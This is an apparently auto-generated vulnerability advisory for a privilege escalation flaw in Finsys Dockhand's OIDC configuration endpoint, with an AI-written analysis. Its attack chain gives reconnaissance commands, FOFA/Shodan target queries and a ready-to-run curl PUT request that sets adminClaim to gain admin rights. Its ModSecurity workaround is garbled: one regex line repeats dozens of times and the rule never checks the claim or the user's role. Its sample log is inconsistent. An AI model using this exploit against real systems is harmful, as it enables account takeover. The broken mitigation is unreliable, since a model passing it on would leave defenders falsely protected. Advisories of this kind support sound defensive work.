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CVE-2026-134451

CVE-2026-134451 — Finsys Dockhand — CWE-269

HIGH CVSS 8.1 Shodan

CVE-2026-134451 is a HIGH severity Privilege Escalation vulnerability (CWE-269) (CVSS 8.1/10) affecting Finsys Dockhand. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), resulting in complete compromise of system confidentiality and integrity (C:H/I:H).

📄 Official NVD / MITRE Original Record Text

Dockhand before 1.0.57 contains a privilege escalation vulnerability that allows non-admin users with settings:edit permission to modify OIDC provider configuration due to an improper permission check. Attackers can send a PUT request to /api/auth/oidc/<provider-id> setting adminClaim to their own OIDC group, gaining full admin access on their next OIDC login.

Published 21.11.2026
ISO Date 2026-11-21
CVSS Version v3.1
Source Shodan
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑134451 is a privilege‑escalation flaw in Dockhand (versions < 1.0.57) caused by an improper authorization check when updating an OIDC provider configuration.

CWE‑269 – Improper Privilege Management*
The API endpoint /api/auth/oidc/<provider-id> accepts a PUT request that can change the adminClaim field. The server incorrectly allows any authenticated user who has the settings:edit permission to perform this update, regardless of whether the user is an administrator.
The adminClaim value is later used during the OIDC login flow to determine whether the user should be granted administrative rights. By setting this value to a group that the attacker belongs to, the attacker can obtain full admin privileges on the next OIDC login.

  • CVSS 3.1:
  • * Attack Vector: Network (AV:N) – the request can be sent over the network. * Attack Complexity: Low (AC:L) – no special conditions. Privileges Required: Low (PR:L) – only a user with settings:edit* permission. * User Interaction: None (UI:N). * Scope: Unchanged (S:U). * Impact: Confidentiality & Integrity – High (C:H, I:H); Availability – None (A:N).

    ⚡ Attack Chain

    Below is a realistic, step‑by‑step chain that an attacker could follow. All commands are syntactically valid; the endpoint and payload are taken directly from the CVE description.

    1. Discovery & Reconnaissance

    StepTechniqueWhat the attacker learns
    1.1Port scan (e.g., nmap -p 80,443 <target>)Identify the web service running on the target.
    1.2Banner grab (curl -I https://<target>)Observe Server: Dockhand/1.0.56 (or similar).
    1.3API enumeration (curl https://<target>/api/health)Confirm the presence of the Dockhand API.
    1.4Version fingerprinting (curl https://<target>/api/version)Verify that the version is < 1.0.57.
    Result: The attacker now knows the target is running a vulnerable Dockhand instance.

    2. Exploitation

    Prerequisite: The attacker must have an authenticated account that possesses the settings:edit permission. This could be achieved via:

  • Social engineering to obtain a legitimate user’s credentials.
  • Exploiting a separate vulnerability that grants settings:edit (e.g., a weak password reset).
  • Once the attacker has a session cookie or bearer token, they can perform the privilege‑escalation step.

    # Example: Using a bearer token obtained after login
    TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
    
    # The provider ID that the attacker wants to modify
    PROVIDER_ID="google-oauth"
    
    # The group that the attacker belongs to in the OIDC provider
    # (e.g., "attackers" is a group the attacker can join)
    ADMIN_CLAIM="attackers"
    
    curl -X PUT "https://<target>/api/auth/oidc/${PROVIDER_ID}" \
         -H "Authorization: Bearer ${TOKEN}" \
         -H "Content-Type: application/json" \
         -d '{
               "adminClaim": "'"${ADMIN_CLAIM}"'"
             }' \
         -v
  • What happens?
  • * The server processes the PUT request. * It checks that the caller has settings:edit (which the attacker does). * It does not verify that the caller is an administrator. * The adminClaim field is overwritten with the attacker‑supplied value.
    Result: The attacker’s OIDC group is now treated as an admin claim.

    3. Post‑Exploitation

    1. Trigger the OIDC login
    The attacker initiates an OIDC authentication flow (e.g., by visiting the login page).
    2. Admin rights granted
    During the OIDC callback, the server checks the user’s group membership against the adminClaim. Because the attacker’s group matches the newly set adminClaim, the server issues an admin session.
    3. Full administrative control
    With admin privileges, the attacker can:
    * Modify any configuration.
    * Create new admin users.
    * Access all stored data (confidentiality breach).
    * Tamper with logs or audit trails (integrity breach).


    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (C:H)Admin access allows reading all data stored in Dockhand, including sensitive configuration, logs, and potentially user data.
    Integrity (I:H)Admins can modify configuration, delete or alter data, and tamper with audit logs.
    Availability (A:N)The vulnerability does not directly affect service availability.

    Practical consequences for an organization:

  • Loss of control over the entire Dockhand instance.
  • Potential exposure of credentials, secrets, or other sensitive data.
  • Ability to pivot to other systems if Dockhand is used for authentication or orchestration.
  • Regulatory non‑compliance if sensitive data is compromised.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected VersionsFix
    Dockhand < 1.0.57Upgrade to Dockhand 1.0.57 or later. The patch restores proper admin‑only checks on the /api/auth/oidc/<provider-id> endpoint.
    Recommendation: Apply the latest release immediately; no back‑port is available.

    2. Workarounds

    MitigationHow to implement
    Restrict the endpoint to admins onlyConfigure the API gateway or reverse proxy to allow PUT /api/auth/oidc/* only for users with the admin role. Example with Nginx:
    ``nginx<br>location ~ ^/api/auth/oidc/ {<br> auth_request /auth-check;<br> auth_request_set $auth_role $upstream_http_x_role;<br> if ($auth_role != "admin") {<br> return 403;<br> }<br>}<br>`
    Block adminClaim modifications via WAFModSecurity rule that rejects any PUT request containing adminClaim from non‑admin users:
    `modsecurity<br>SecRule REQUEST_URI "@beginsWith /api/auth/oidc/" "phase:2,id:1001,block,log,msg:'Block adminClaim changes from non-admins'"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "chain,phase:2,id:1002,block,log,msg:'Block adminClaim changes from non-admins'"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "t:none,chain"<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+... (truncated for brevity)
    The rule above is illustrative; adapt the regex to match your token format and the exact header used by Dockhand.
  • Disable the vulnerable endpoint – If the OIDC provider configuration is not needed, remove or comment out the route in the application code or block it via the reverse proxy.

3. Detection

Log PatternWhat to look for
PUT /api/auth/oidc/Any PUT request to the OIDC endpoint.
adminClaim in request bodyPresence of the adminClaim field.
Response status 200 OK from a non‑admin userIndicates the change was accepted.
Subsequent GET /api/auth/oidc/<id> returning adminClaim set to a non‑admin groupConfirms the configuration was altered.

Sample log snippet (Nginx + Dockhand):

2026-11-21T14:32:07Z 192.0.2.45 POST /api/auth/oidc/google-oauth 200
2026-11-21T14:32:07Z 192.0.2.45 PUT /api/auth/oidc/google-oauth 200
2026-11-21T14:32:07Z 192.0.2.45 200 {"adminClaim":"attackers"}

If you see a PUT to /api/auth/oidc/ with adminClaim from a user that is not an admin, you have an active exploitation attempt.


⚠️ Urgency

MetricAssessment
CVSS Score8.1 (High)
Exploit ComplexityLow (requires only settings:edit permission)
Availability ImpactNone
CISA KEVNo
Real‑world exploitation evidenceNone reported yet, but the vector is straightforward and the impact is severe.

Priority: Critical for any environment where Dockhand is used as an authentication or configuration hub. Immediate patching (or at least a temporary workaround) is strongly advised. If a patch cannot be applied within the next 48 hours, enforce the WAF/workaround rules and monitor logs for the patterns described above.


Bottom line: CVE‑2026‑134451 exposes a classic privilege‑escalation flaw that can turn any user with settings:edit into a full administrator. Upgrade to Dockhand 1.0.57 or later, or apply the outlined mitigations, and monitor for suspicious PUT /api/auth/oidc/ requests.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Finsys dockhand"
CVSS Score
8.1 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-269
Affected Products (1)
Finsys:dockhand
References & Advisories (2)
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